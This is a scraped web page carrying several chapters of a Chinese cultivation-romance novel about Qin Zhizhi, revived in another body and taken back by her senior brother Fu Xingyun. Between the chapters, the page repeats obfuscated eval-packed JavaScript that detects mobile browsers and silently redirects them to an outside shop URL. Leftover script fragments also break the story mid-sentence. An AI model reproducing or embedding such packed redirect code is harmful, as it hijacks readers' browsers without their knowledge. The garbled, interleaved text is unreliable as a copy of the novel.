window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脾气,可这火气到底是冲着谁? 难道是自己说的还不对? 傅行云单手支着下巴,琉璃般的眸子里清晰的倒映着秦知知的身影,他一字一句:“你再想想,好、好、说。” “……”秦知知无语凝噎。 兄弟行行好,要不直接给一刀? “哎,”她叹气,“你到底想听什么?” 他想听什么她就说什么还不行吗? 细碎的流光从傅行云眼眸中迸出,他微俯身靠近案几,也在无形之中逼近着眼前之人。不过打量了片刻,傅行云蓦地从案几前站起。 “跟我来。” 秦知知没吭声,安静的跟在他的身后。 傅行云肩宽腰窄,身高腿长,一步能跨两米八,头也不回的蹭蹭往前走。可怜了秦知知这细胳膊细腿,得小跑着才能勉强跟上。 主殿侧门后,有一条长长的甬道。不知何处有风吹来,冷飕飕的,送来一阵凉意。 别人或许不清楚这个地方,但秦知知却十分熟悉。 甬道的尽头有一个房间,其中摆放着天同宗历代掌门的画像,这里有已经飞升的老祖亦有已经陨落的掌门。 其中就是秦知知的父亲,上一任天同宗宗主,秦明修。 傅行云并不总是提起秦明修,可若是秦知知过于顽劣,不知好歹,他气急了就会把秦知知拎到这个房间里,对着秦明修的画像跪下反省。 最后一次来到这里时,外面传的话已经有些不太好听了。都言谢煜台太上忘情,拒绝天同宗女修多次,但那女修仍然不知羞耻,粘人的紧。 谢煜台迟迟没有动静,傅行云心中也是颇为窝火,直接关了秦知知的禁闭不让她出门。这怎么可能难得到秦知知呢?更别说她身上还有个系统。 一次秦知知偷偷跑出去找谢煜台,回来后正巧被傅行云撞见。他什么也没说,只是带她进了这个房间。 秦知知跪了一天一夜。 最后是傅行云先推门进来,冷着脸道:“你一定要嫁给谢煜台?” 秦知知坚定道:“是,此生非他不嫁。” 傅行云一言不发,拂袖而去,这事儿便作罢了。 之后……之后便是昆仑洞天,她九死一生,来到了完成任务的关键节点。 如今又到了这个房间。 傅行云挥袖,房门洞开,露出正对着门口的秦明修的画像。画像上的人眼神刚毅,风度威严,正俯视着整个房间。 这便是秦明修。 他曾是这个大陆最厉害的修士,离飞升只有一步之遥,却在渡劫之时陨落,被九天雷劫劈的神魂消散,无处可寻。 那时秦知知才只有五六岁,整日里踢天弄井上蹿下跳。傅行云也尚是少年心性,走鸡逗狗的,在得知师尊的死讯后怔愣很久,终是红着眼眶,牵着秦知知的手,在其他长老的协助之下,撑起了天同宗。 看见房间熟悉的陈设,秦知知心中一紧,打起鼓来。 傅行云为什么会带她来这里?这种宗门重地,不是核心弟子都不可能知道,更不可能随意进来…… 傅行云先抬脚进入房内,抬头看着秦明修的画像,负手而立。 待听见秦知知进门的声音后,头也不回的,只是开口:“跪下。” 他的声音像是一片茫茫汪洋大海,隐隐藏着滔天巨浪。 20. 020 傅行云这句“跪下”一出,秦知知反射性的膝盖一软,“扑通”一声就跪在了蒲团之上。 待跪下之后她猛然一愣,不禁抬起头来看着身边的傅行云,见他侧脸鼻梁高挺,薄唇紧抿,心里是既震惊又是困惑, 傅行云扫了一眼跪在旁边的秦知知:“现在知道要说什么了?” 知道了。 秦知知低下头:“我、我醒来后就变成了武都城城主的女儿秦芝芝。” 她断断续续的将自己醒来后的遭遇说给傅行云听,自己是如何从黑市被和光派所救,又是如何遇到谢煜台,是怎么去的和光派。 傅行云安静的立在旁边,一直没有说话。 待说完后,秦知知还是没有忍住,好奇道:“师兄,你是怎么认出我的?” 听到秦知知的问话,傅行云这才有所动作。他大手一挥,秦明修画像后的帘子无风自动,露出房间深处一盏光线暗淡的魂灯。 三宗六派十二城的各个核心弟子在门派中都有一盏魂灯,通常是放在师尊那里。当魂灯熄灭,师尊即便不在弟子身边也会知道,这个弟子身陨了。 秦知知自然也有,她的魂灯在傅行云的手中。 盟誓大典之日,姜沅芷派人攻打归元宗,众人被打的措手不及。正是危急时刻,又听有人惊呼新娘子死了。那一刻,傅行云目眦尽裂,对姜沅芷恨不得生啖其肉,但是他当时服下化功散,虽有一身修为却很难施展,只能眼睁睁的看着谢煜台被姜沅芷带走。 谢煜台走之前,傅行云看到了躺在大殿之上一袭红衣的秦知知。双目紧闭,唇角带血,已然气息全无。 然而前一天她还那么高兴,笑眼咪咪的试着新嫁衣,拉着自己的手开心道:“师兄,我穿这个好看不好看?” 闻言秦知知低下头,百般滋味涌上心头。 “可是当我回到宗门时,却看见你的魂灯还亮着。”傅行云深吸一口气,平复自己的情绪,“虽然暗淡许多,但确实还亮着。” “难道知知还活着?这不可能,我分明看到了那具尸体,已经死的透透。” 秦知知:? “师兄,我建议你换个措词。” 从其他人嘴里说出自己尸体死的透透什么的这种话,听得她心里冒凉气,跟讲鬼故事似的。 傅行云见她还有心情插科打诨,狠狠瞪了秦知知一眼,继续道:“我对着魂灯坐了一夜,虽然光芒微弱,但它始终亮着。” “那时候我就在想,既然魂灯没灭,那一定还有希望。秦知知一定还活在某处,我总会找到她。” 秦知知:“师兄,呜呜呜。” 狠狠的感动住了。 “没想到真见到了,”傅行云冷笑,“还不如当场打死算了。” 秦知知:“……啊这?” 那股子感动还没散去,梗在喉中,不上不下。 “为什么不第一时间传信给天同宗?是我还是天同宗不值得你信任?竟然还和谢煜台混在一起。”提起这事傅行云就觉得心梗。 一次、两次……总是谢煜台,气的傅行云咬牙切齿。 就在看到坐在地上的秦知知对自己露出笑容,目光中不经意间流露出的亲昵与依赖,傅行云瞬间就意识到了。 这是知知,是秦知知。 “笑的丑死了。”想到那个僵硬的笑容,傅行云持续补刀。 “别骂了别骂了。”秦知知垂头丧气,“这事儿也怨不着我啊,我刚醒来光想着怎么脱身,麻烦是一茬接一茬,我也没办法的……” 这倒是实话,自秦知知睁眼,事儿是一浪接着一浪,她几乎没有喘息的机会,更别说给天同宗递信。她又不知道自己的魂灯没灭,傅行云知晓自己还活着,贸贸然递信被人家当骗子或者是夺舍怪,可就跳进黄河也洗不清了。 “……也不是我故意去找谢煜台的。”秦知知又小声补了一句。 “你再跟着谢煜台看看,看看我这次打不打断你的腿!”傅行云怒道,简直忍无可忍了啊,这俩人就拆散不了了还?! 秦知知忙不迭的摇头:“不跟了不跟了,以后再也不跟了。” 都不做任务了,干什么还往上倒贴去?不过傅行云对谢煜台的态度竟然如此恶劣,以前好像也没有那么激烈。 “不对啊师兄,我的定尸符还没解呢。”秦知知突然想起来这档子重要的事。更糟糕的是,她发现自己竟然一直忘了问谢煜台是否知道解开定尸符的方法!那这去娑婆宗到底是为了啥呀真是白折腾。 有的人好像虽然头顶着脑袋,却不太爱用,十分潇洒呢。 “解,必须要解。”傅行云笑的不阴不阳,“解不开,我就去让谢煜台体会一下什么叫求生不得,求死不能。” 秦知知提醒:“可是那样我可能会死耶。” 傅行云:“怎么,和谢煜台有如此关系,你好像很高兴?” 秦知知满脸震惊:“开玩笑,我怎么敢啊?” 傅行云冷哼道:“你最好是。” 秦知知:“……” 之前攻略用劲过猛,好像师兄对自己误会挺大的。 虽然有些想反驳的意思,但看傅行云面色不善,秦知知没敢吭声。 不过安静片刻,傅行云却当先开口道:“既已回来,便好好在我身边。” “天同宗永远是你的家。” 秦知知眼眶一热,使劲眨了眨。 家?身若浮萍如她,难道也可以在这个世界拥有一个家?拥有一个退路、一个期盼、一个心之归所。 她真的可以有吗? “下个月便是三宗大比,到时候你也去试一试。”还没等秦知知的眼泪泡冒出来,傅行云一句话又给她送回去了。 秦知知一脸茫然:“啊?” 她才回来,就要让她出去打架了啊? 三宗大比是由归元宗、天同宗和娑婆宗三宗轮流承办的修仙界大比,每五年一次。一般都是由三宗六派十二城的年轻一代弟子参加,凡是筑基以上皆可以报名。此次大比时会根据各位弟子的表现,更新排行榜,倘若榜上有名那便是当之无愧的新秀。 谢煜台曾是榜首很多年。 后来大家都不许他参加了,过于打击参赛积极性。 可是一算时间,秦知知便发现不妥之处:“不对啊,这不还没到五年吗?” 此次离上一届三宗大比,只隔了三年,这是从来没有过的事情。 傅行云沉吟半晌,双目微阖:“没有时间了。” “什么时间?”秦知知见他表情凝重,追问道。 “姜沅芷攻打归元宗那一天,归元宗后山的‘剑指苍天’塌了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981572|148156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅行云道。 归元宗作为以剑修为主体的天下第一宗,是修仙界数一数二的老牌门派,不仅因为剑修实力强,更是因为三宗之中归元宗飞升之人最多,最近的一个就有练就太上忘情的雪堂上仙。雪堂上仙飞升之前,剑气凛然,将他所在的峰头一劈两半。一半形势陡峭,下有万丈深渊,便是后来的问剑峰,另一半则较为平坦,绿石环绕,遂成为归元宗的后山。 在劈开峰头的瞬间,问剑峰最顶端的一块巨石轰然落下后山之处,被剑气所侵,远远看上去仿佛一把长剑,睥睨峰头,直指苍天,当真是拔地倚天、蔽日干云。剑修们若是遇到瓶颈便会来此感悟剑气,领略飞升的剑意。 这块巨石便被叫做“剑指苍天”,又被时下人称“小天柱”。 雪堂上仙飞升之时,窥见天意,留下一句谶言。 “天柱塌,裂天变,刑天之罚,魔种现世。血流成河,伏尸百万。” 天柱指的便是剑指苍天,裂天变则是归元宗守着的那块据说封印着上古魔魅的地方。但是刑天之罚指的是什么,魔种又到底是什么,至今众说纷纭却没有一个确切的说法。总之,天柱塌,裂天变之后,便是天地大劫。 如今天柱已塌。 秦知知这才明白,为何傅行云要说时间不够了,修仙界可用之才还是太少。 归元宗的衍琛长老乃是渡劫大能,但他一直镇守裂天变,已很久不问世事。之下便是三宗掌门,皆是化神修为,其中傅行云年级最轻。三宗六派并十二城里金丹以上修为人数也不过几十人许,一般都是城主或是长老,青年一代却尚未长成。 仅有谢煜台一人可堪重任。 剩下的诸如陆远道、君无涯,甚至裴兰舟和裴松舟,虽然亦是天之骄子,但年级尚轻,修为也不过是筑基到辟谷之间,皆未至金丹。倘若再来个百年,倒是会迎来修仙界的繁荣之时,但现在还不行。 姜沅芷不过是为了谢煜台,都可以带领一万魔族大军攻上归元宗,若是放在修仙界,几乎不可能。这些青年修士各个都是门派长老的宝贝,少一个都是重大损失。 青年一代还在成长,大战却已逼近。 他们需要更多的历练与成长。 无论修仙界的敌人是魔族,还是将伏尸百万的天地浩劫,对于现在的修仙界来说,负担都太重。 秦知知在心中琢磨了半晌,才堪堪回过神来。 要是系统在的话这个时候肯定要大声嚷嚷,正文剧情开始了。 这原是跟秦知知毫无关系的。 关于正文剧情她完全没有概念,系统也一直强调这个跟她没啥关系,她好好做任务好好活下去就行了。但是今天听到傅行云说的话,秦知知意识到,这应该就是自己死后开始的正文剧情。 之后,谢煜台一定会几经磨练,大杀四方,带领整个修仙界渡过这场天地浩劫。至少,从他作为主角的定位来看应该没什么问题。 但是关于故事的走向和细节,秦知知一无所知。 她突然有点后悔,早知道之前怎么也得套点剧情出来,也好过现在两眼抓瞎啊。 秦知知重重叹了一口气,思忖片刻,突然疑惑道:“师兄。” 傅行云:“嗯?” “你一眼便认出了我,你说……”秦知知犹豫道,“谢煜台认出我了吗?” 21. 021 秦知知又想到,在自己被傅行云带走时,踉踉跄跄伸出手的谢煜台。 他说:“别走。” 他还说:“你答应过……” 真的是为了娑婆宗的事吗? 秦知知心里有些打鼓,在傅行云说他一眼便认出自己后,她心里更是有些波澜起伏。谢煜台……会认出她么?她自然是不愿意让对方认出来的,也不想跟对方有什么牵扯。不过……他会如傅行云这样认出来么? 待听到秦知知的问题后,傅行云短暂的沉默了片刻,转瞬冷笑道:“他?他现在不过是个什么都看不到的人罢了,即便是再借他两个眼睛,也未必认得出。” 其实今日不是傅行云第一次去归元宗闹事。 就在看见秦知知魂灯未熄之后,傅行云第一个想到的可能性便是,秦知知那具身体也许尚有气息。 他不能,绝对不可能再让谢煜台占尽先机。 可是谢煜台在婚宴之上追着姜沅芷而去,傅行云去了两三次根本进不了问剑峰,亦不可能直接跟归元宗翻脸,只得耐心等待。 总算在今日碰到了归来的谢煜台。 就在谢煜台否认秦知知的死去后,傅行云心中一跳,难道真如他之前所料?所幸,之后他便见到了在旁边傻傻站着的,真正的秦知知。 既然秦知知完整的站在这里,那原来的那具身体必不可能再有任何气息。虽然每每想起傅行云都觉得心如刀割,但却无否认,秦知知在盟誓大典那天,确实是死去了。 谢煜台那个傻子,不知用了什么自欺欺人的法子,偏要说那不是尸体。 呵呵,已经知道真相的他,绝对不会告诉谢煜台半点消息。 甚至有一天,他一定要将秦知知原来的身体也抢回来,半点念想也不给对方留。 就让他们这次断的干干净净。 他的师妹,再不会受如此之苦。 听到傅行云的回答,秦知知下意识的抚了抚胸口。 是了,谢煜台现在双目被遮,即便自己露出一些破绽,他也什么都看不见,自然是不可能认出自己的。或者,正如傅行云所说,即便他的眼睛能看见,也未必能认得出。 毕竟秦知知对于谢煜台来说,好像并不是那么重要。 一个人又怎么会花精力在一个自己不在意的人身上呢? 思及此处,秦知知长舒一口气笑道:“那是我多心了。” 傅行云低着眉眼,视线在她的脸上逡巡:“你在伤心?” 秦知知满脸惊讶:“怎么会呢?” 话音刚落,她眼睛又转了转:“不过,虽然对方现在没认出我,以后也最好别认出来,还要请师兄多帮我打打掩护。” 傅行云这才满意的“哼”了一声:“这是自然。” 他求之不得。 虽然想着这次一定要跟谢煜台不再来往,秦知知还是厚道的把在娑婆宗遇到的事完完全全告诉给了傅行云。 果然一听完,傅行云立刻眉头深皱。 “我所言句句属实,更何况,谢煜台的人品师兄也是知道的。”秦知知会怨谢煜台没有心,怨他沉默寡言,怨他无情无爱,却绝对相信他这个人。 谢煜台品行高洁,一身正骨,他只是不喜欢自己而已。 在这点上,傅行云和秦知知完全一致。 他只是不喜欢谢煜台而已,却也相信对方的人品。 “看来娑婆宗要乱了。”傅行云沉吟道,“此事我会与归元宗宗主商讨,你不必担心。” 得了傅行云的准信,秦知知放松下来,其实这事儿横竖跟她也没什么关系,她可真是太无辜了。这下谢煜台也不用担心没人帮他说话,傅行云出马不比她去说更有用? 秦知知仰着头,眼睛都笑成了弯弯的月牙儿:“多谢师兄。” 傅行云心中颇为受用,面上却丝毫不显,只是拢了拢衣袖道:“不必跪了,起来罢。” 秦知知一听马上应声从蒲团上爬了起来,还拍了拍自己的膝盖,黑葡萄似的眼睛晶莹剔透,一眨不眨的看着傅行云,眼中满是欣喜和依赖。 倒叫傅行云被看的有几分不好意思。 他故意咳了几声,走到秦明修的画像后,从黑暗中拿起了什么东西,瞬间向秦知知挥来。 秦知知但见眼前一闪,下意识抬手,稳稳接在手上。 那是一把身长二尺六寸的长刀,刀鞘玄黑,镂刻着宝相花纹,刀身明如秋水,清亮灵动,借着日光映照出秦知知明艳婉转的容颜。 这正是天同宗秦知知的本命武器,宝刀归藏。 秦明修还在世时曾得到两块千年难遇的玄铁精魄,他便将其熔了锻造出了两把宝刀。一把是秦知知手上的归藏,另一把便是傅行云的本命刀连山。 归藏清灵无垢,连山大朴若拙。 傅行云抽出腰间的连山,重刀卷起一阵气流,蓦地挥向秦知知的门面,扬起她额头前的碎发:“来跟我打一场——” 秦知知扬刀,迎上连山。 但听“当”的一声,剧烈碰撞,刀气破开长空。 秦知知已有些日子没有练刀,骤然运功倒显得颇为生涩。傅行云将修为压制到筑基初期,耐心的给她喂招。 两人衣袖翻飞,疏忽碰撞又顷刻退开,刀气卷起长风猎猎,身如行云流水,矫若游龙腾飞。他们从暗室边打边走,碰翻了主殿上尚在燃香的暖炉,又撞碎了桌上的茶碗杯碟。 叮叮咚咚一阵乱响。 傅行云嘲讽道:“你现在就这本事?” 秦知知本来已经有些气喘吁吁,一听这话顿时来了精神:“那我就让你看看!” 她双手抱住刀柄,狠狠斩向傅行云。 傅行云对战经验丰富,早已察觉她的动作,迅速疾退,从主殿飞出。 秦知知紧随其后,使出一招“大道之行”,归藏扬起重重砸向傅行云,刀刃触碰到地面的刹那,轰然作响! 霎时间,一川碎石大如斗,随风满地石乱走。 原本平坦的地面竟是瞬间被砸出一个约三米深的大坑来。 烟尘卷起,平沙莽莽之中,秦知知提着刀一步一步走来,发带飞扬,鬓边带风,流星飒沓。 一直守在外面的裴兰舟和裴松舟看到这一幕都惊的目瞪口呆,裴松舟没有忍住捣了捣旁边的姐姐兰舟,磕磕巴巴道:“像、像吧……是不是很像?” 裴兰舟脸上闪过一丝错愕后,很快便敛住神情,冲着裴松舟微微摇了摇头。 傅行云站在坑的边缘,看着走来的秦知知,眼神扫过被惊动而来的天同宗弟子,浓眉上挑,朗声道:“兰舟松舟。” “师尊。”二人恭敬道。 “从今日起,这便是你们的小师妹——秦芝芝。” 自成为傅行云的徒弟之后,秦知知降级了。从天同宗宗主的师妹,变成了天同宗宗主徒弟们的师妹,是全宗门上下名副其实的小师妹本妹。 门派上下听闻傅宗主收了一个极有天赋的弟子,都争相围观。 各个嘴上都叨叨个不停:“小师妹啊,小师妹,来给我们看看。” “小师妹真可爱啊,多吃点昂,看给孩子瘦的,宗主咋能虐待你呢?” “小师妹有什么不懂的记得来问我,我带你逛宗门去!” 也有一些人看到她的容貌后亦有些惊异,但都没有说出来,反而对秦知知更加关心,唯恐她受了什么委屈。 在被持续围观的情况下,秦知知成功的,犯了社恐。 简直太恐怖了有木有!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981573|148156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 快放过她吧行不行! 裴兰舟和裴松舟两人倒是十分靠谱,守在院子外一左一右的,谁要是想进来骚扰秦知知,就得先问一问裴兰舟的刀。 裴兰舟是谁?傅行云的首席大弟子,自幼被悉心教导,尽得宗主一身真传,打起来人要么不要命,要么要人命。 在打架上裴松舟比不过裴兰舟,但他也有自己的办法,论嘴贫,天同宗无人能出其右。愣是能直接把人叨叨到生无可恋,不走也得走。 虽然这个小师妹来的猝不及防,来的令人摸不着头脑,但姐弟二人依然用自己的方式表达着对秦知知的友好。 其实从前,他们二人对秦知知也是如此。 那时候秦知知算得上是他们的小师叔,裴兰舟虽然话不多,但只要秦知知需要,她立刻就会出现,带着她的那把宝刀给秦知知找场子,可以说是低配版的傅行云护犊子。 裴松舟就更不用说了,比起裴兰舟而言,他实在像个普通人家的孩子,爱玩爱闹,对周围人有着天然的亲近感。 秦知知犹记得,裴松舟还小的时候,有一段时间很粘着自己。 只是她一直有心疏远,久而久之,这二人也不知是不是感觉到了什么,便不再常来。 不过这些在秦知知眼里目前都算不上什么事。 无论是被围观、被照顾还是其他,在现在的傅行云面前都不堪一提。 可以说,根本是弱爆了好吗! 三宗大比就在下月举行,如今已是月末,距离大比不过十几日的功夫。 傅行云既然有心让秦知知去参加,必然不可能让她稀里糊涂的。于是便给秦知知制定了一套特训。 每日晨起挥刀上万,下午还要被傅行云吊着打,晚上背口诀念心法。 秦知知欲哭无泪,每晚回房倒头就睡,清心寡欲到觉得自己可以立地成佛。 就没有那种世俗的欲望。 如此几日下来,秦知知脸上刚长出来的肉很快就消失的无影无踪,她又开始变得弱小可怜但……但能吃,也很能打。 眼下,距离三宗大比只剩下三天的时间,后日他们便要启程去归元宗。 此次和秦知知一起参加的还有裴兰舟和裴松舟。 秦知知练完刀之后筋疲力尽,跟着傅行云屁股后面走进主殿,讨口水喝,顺便摸个鱼。 傅行云倒是一直气定神闲,仿佛看见秦知知脸上的痛苦就能令他感到快乐一样。 真是敢怒不敢言。 秦知知一边低着头喝茶,一边在心中疯狂吐槽。 正在这时,裴兰舟突然推门进来,她身量高挑,气质如兰,很是沉静淡雅。 “师尊,我有事禀报。” 傅行云颔首:“说。” 裴兰舟:“和光派的君无涯来了。” 秦知知:? “他来做什么?”傅行云问出了秦知知心里所想的问题。 裴兰舟犹豫了片刻,缓缓回答道:“他说……来找自己的未婚妻。” 秦知知:“……咳咳!” 感受到傅行云和裴兰舟的目光,她瞬间倍感压力。 “好茶,真是好茶!”秦知知竖起大拇指,恨不得把脸直接埋进茶杯。 这厢还没解决,裴松舟又跌跌撞撞的跑进了大殿,高高的马尾飞成一道直线。 比起姐姐裴兰舟来说,弟弟裴松舟实在称不上不稳重,虽然长得一摸一样,气质却千差万别。 傅行云眉头一竖道:“松舟,你又怎么了?” 裴松舟指了指外面,满脸震惊道:“师尊,归元宗的谢煜台来了!” 秦知知再没忍住,一口茶水喷出:“噗——” 不是,你们这是约好的吗?为什么! 22. 022 待听到谢煜台也来了后,秦知知猛然吸气一口热茶直接从嘴里喷了出来。 为什么?这到底是为什么! 裴兰舟静静看着秦知知,没什么其他动作。裴松舟倒是瞪大眼睛,见秦知知狼狈的模样捂着嘴巴偷偷笑了出来。 秦知知猛然咳嗽几声,断断续续道:“怎、怎么回事,这两人过来干嘛?” 裴松舟挠头:“谁知道呢?” 傅行云支着下巴坐在主位上,手指有一搭没一搭的敲着桌边:“为什么来?这还得好好问问你们的新师妹。秦知知,你说是不是?” 秦知知:“……” 她心中顿感有些不妙。 “怪就要怪你们的新师妹,太招人喜欢。”傅行云嘴角扬起,不阴不阳。 裴松舟动作一顿,似是在认真思考,最后不知道究竟想到了什么,竟是毫不犹豫的点了点头。 秦知知:? 你点什么头?这话也要点头的吗?! 裴兰舟没忍住,屈指狠狠敲了一下裴松舟那可怜无用的小脑袋瓜子。 见裴松舟吃痛的表情,秦知知这才满意的收回目光,看向傅行云:“那我该怎么办呢,师尊。” 最后俩字咬的尤其之重。 她现在可是傅行云的徒弟了,属于天同宗,那一举一动都得找师尊商量才行啊。再说,君无涯和谢煜台也没点名道姓说找的是自己,万一是有事来找傅行云商量呢?就算真的是找自己,那不也得傅行云在前面挡着? 傅行云听到她的语气,手上动作停下,脸上扯出一抹笑容,端的是皮笑肉不笑,看得人头皮发麻:“既然这么巧,那便都请上来吧。” 秦知知缓缓戴上了痛苦面具。 看她纠结,难道就能令师兄那么快乐吗? 化神修士的乐趣,她真的不懂。 裴兰舟和裴松舟应诺,转身去请君无涯和谢煜台二人过来。临退出去前,裴松舟溜得飞快,脚步中明晃晃的流露出“要有好戏看啦”的雀跃之情,挡也挡不住。 秦知知欲哭无泪。这世界幸福的人那么多,为什么不能多她一个? 见裴兰舟和裴松舟都走了出去,傅行云闲闲的喝着茶。不知他突然想到何事,抬头望着秦知知道:“你过来。” “哦……”秦知知应了一声,站到他的旁边。 傅行云道:“就这样站着,别乱动。” 秦知知眼睛一瞪刚准备说几句不是,转瞬熄了念头。 论身份,自己现在只是傅行云的徒弟,自然不好师尊坐在上面喝茶,徒弟也施施然的坐在下首喝茶。更何况,一会要有“外客”进来,站在师尊的旁边才是正确打开方式。就好像以前看见裴兰舟和裴松舟似的,他们也总是一左一右的跟在傅行云的后面。 到底是傅师兄细心。 不多时,裴氏姐弟便领着谢煜台和君无涯走了进来。 君无涯身着青衣白袍,身负七弦琴,皎如玉树临风,袍角飒沓。谢煜台仍是那一身鹤羽大氅,乌发白衣,身形挺直,不疾不徐。 若单论二人的装扮,自然是君无涯要更精致一些。他就像是世家养出的公子,少年风流,举止文雅。原本也是一身风华,龙姿凤章,可他身边偏偏站着谢煜台。 只要谢煜台往哪儿一站,便没有人能将视线移开。 他沉默内敛,含章蕴华,整个人就犹如尚未出鞘的利剑,虽气息平稳,却无人小觑。 如今双眼遮着白练,翩然而至,更显得气质清华,竟是有了几分难掩的缥缈仙气,仿佛已不似凡间之人。 君无涯拱手向傅行云问好,待抬首见到站在傅行云旁边的秦知知后目光闪过一丝喜色,待将其从上到下细细看了一遍后,唇线微抿,神情有些淡淡的不悦。 这点小动作自然逃不过傅行云的双眼,他在心中冷哼一声,面上却不显,只是问道:“你们二人来我天同宗有何贵干?可是出了什么事?” 言下之意:最好是有什么的大事,不然,人人都知道,天同宗宗主是个出了名的暴脾气。 君无涯一时无言,谢煜台倒是完全没有被傅行云恐吓到。 他开口,语气是一贯的清冷:“是为一点私事。” 傅行云拿起茶碗淡淡道:“哦?” 眼见着话题就要被带走,君无涯也拱手道:“晚辈亦是私事。” “真是奇怪,”傅行云丢下茶碗,面上颇觉可笑,“你们一个和光派,一个归元宗,按理来说与我们宗门皆没什么关系,既是私事,又怎么会找到我的头上?” 听到这话,君无涯蓦地向前两步,眼睛直直看向秦知知:“那是因为晚辈的未婚妻就在天同宗。” 他目光专注又灼热,看的秦知知心头一跳。 裴松舟探出头来,疑惑道:“你未婚妻?是谁啊?” 傅行云虽然收下秦知知当徒弟,但只说她来自武都城,其他并未多言。至于其他天同宗的弟子与和光派弟子的婚约,好像并没有听说过。 秦知知轻咳了一声,硬着头皮道:“是我。” 谢煜台站在众人旁边,负手而立,因着眼睛被遮没人能看到他的神态,只能看见他唇线紧闭。 听到秦知知开口说话,君无涯再也忍不住道:“芝芝……你还好吗?” 那日秦知知在众人面前突然呕血倒下,引起轩然大波。彼时君无涯刚知晓秦知知与秦芝婕之间的恩怨,守在秦知知的门口,期望她赶紧醒来,同时又心乱如麻。 他不知道自己对秦知知究竟是这样的感情,可每每想到秦知知经历的事情,心里便微微泛起了酸疼之感。她与自己周围的人完全不同,明明那么柔弱,手无缚鸡之力,却又那么坚强且聪颖。 君无涯从未想过自己的未婚妻,竟是这样的姑娘。 如果……如果这是他的未婚妻,是他注定的妻,君无涯并不觉得排斥。 待察觉自己心中的亲近之义,君无涯自己也吓了一跳,却也十分坦然接受了这对他而言颇为陌生的感觉。 可等苏青衣带着南风长老急匆匆赶到后,却发现原本应该躺在床上的秦知知却杳然无踪。 君无涯这才得知另一件令人吃惊的事,那便是秦知知颈后的定尸符。这符的另一头就系在谢煜台的身上,随时可以要了她的性命。 他蓦地想到之前秦知知对自己不客气的语气。 那个姑娘独自承受了那么多。 坚强的让人心疼。 待听到秦知知在天同宗的消息后,他没有丝毫犹豫,连忙向师尊奏禀日夜兼程的赶了过来。 “你瘦了……”君无涯低声道。 这不过十几日的功夫,必然是又吃了许多苦。 真不让人省心,好想快快将人接回和光派去,好好养起来。 如果秦知知知道君无涯脑袋里想的是什么,一定会大喊一句:你没事儿吧? 幸而现下她只是被这一双眼睛盯着,觉得有几分尴尬。自上次君无涯发觉自己错怪她之后,态度就变得有些奇怪,如今关注点更是清奇。 她其实也没有瘦多少,只是练起家伙来,身上的肉紧了一圈,所以视觉上仿佛又变得瘦弱了,但其实她可精神着呢。 “我没有瘦呢。”秦知知连忙摆手,“我在这里挺好的。” 怎么各个都觉得傅行云是在虐待她。 还不等君无涯回话,傅行云脸色微变,似笑非笑道:“原来君小友是到我们天同宗兴师问罪的。” 开始了开始了,这个傅阴阳大师他又开始了。 “看来,我们小小一个天同宗是容不下武都城城主的女儿,也容不下和光派弟子的未婚妻。” 虽是对着君无涯说着这话,傅行云的目光却有意无意的掠过谢煜台。 秦知知倒抽一口凉气。 师兄,你太会了,好扎心。这话感觉根本没法接啊。 果然,君无涯顷刻变了脸色,满是羞恼:“傅宗主此言何意?我自是没有这个意思,不过是关心自己的未婚妻罢了。既然您也知道芝芝是武都城的人,亦是我未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981574|148156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的妻,又何故将人扣在天同宗不放?” 秦知知连忙摆手道:“你误会了,是傅宗主见我资质不错,才将我收为徒弟,并没有扣人不放。” 君无涯茫然的看向她:“收你为徒?” 秦知知:…… 这语气中的迟疑困惑,震惊不解是怎么回事?她难道不要面子的吗? 其实也不怪君无涯,他先前分明听说苏青衣带秦知知去测灵根的结果,别说是和光派做的弟子,连洒扫弟子都没门,如今一听她成为傅行云的徒弟当然十分惊讶,天同宗宗主的徒弟什么时候要求这么低了? 可是当君无涯再看向秦知知时,目光凝结在她精致明媚的面庞上。 他也是上次在和光派时,才第一次如此认真的打量着秦芝芝。 君无涯知她柔弱婉约,沉静内敛,却不想经历这些事后的秦芝芝也有如此明媚的一面。她始终笑颜盛放,像是太阳般温暖,就好像……迎风盛开的苔花,渺小却始终无法被打倒。 他看了看傅行云若无其事的模样,又看着秦知知乖巧懵懂的站在旁边,那一刻,面色难看到了极点。 那一刻君无涯恍然大悟。 他知道了……他知道了。 武都城的秦芝芝长得很像傅行云的师妹,天同宗女修,秦知知。 这是这几天修仙界里一直断断续续在传的事情。 众人都说,天同宗女修秦知知刚死,谢煜台就找了一个和她模样有五六分相似的女人带在身侧。 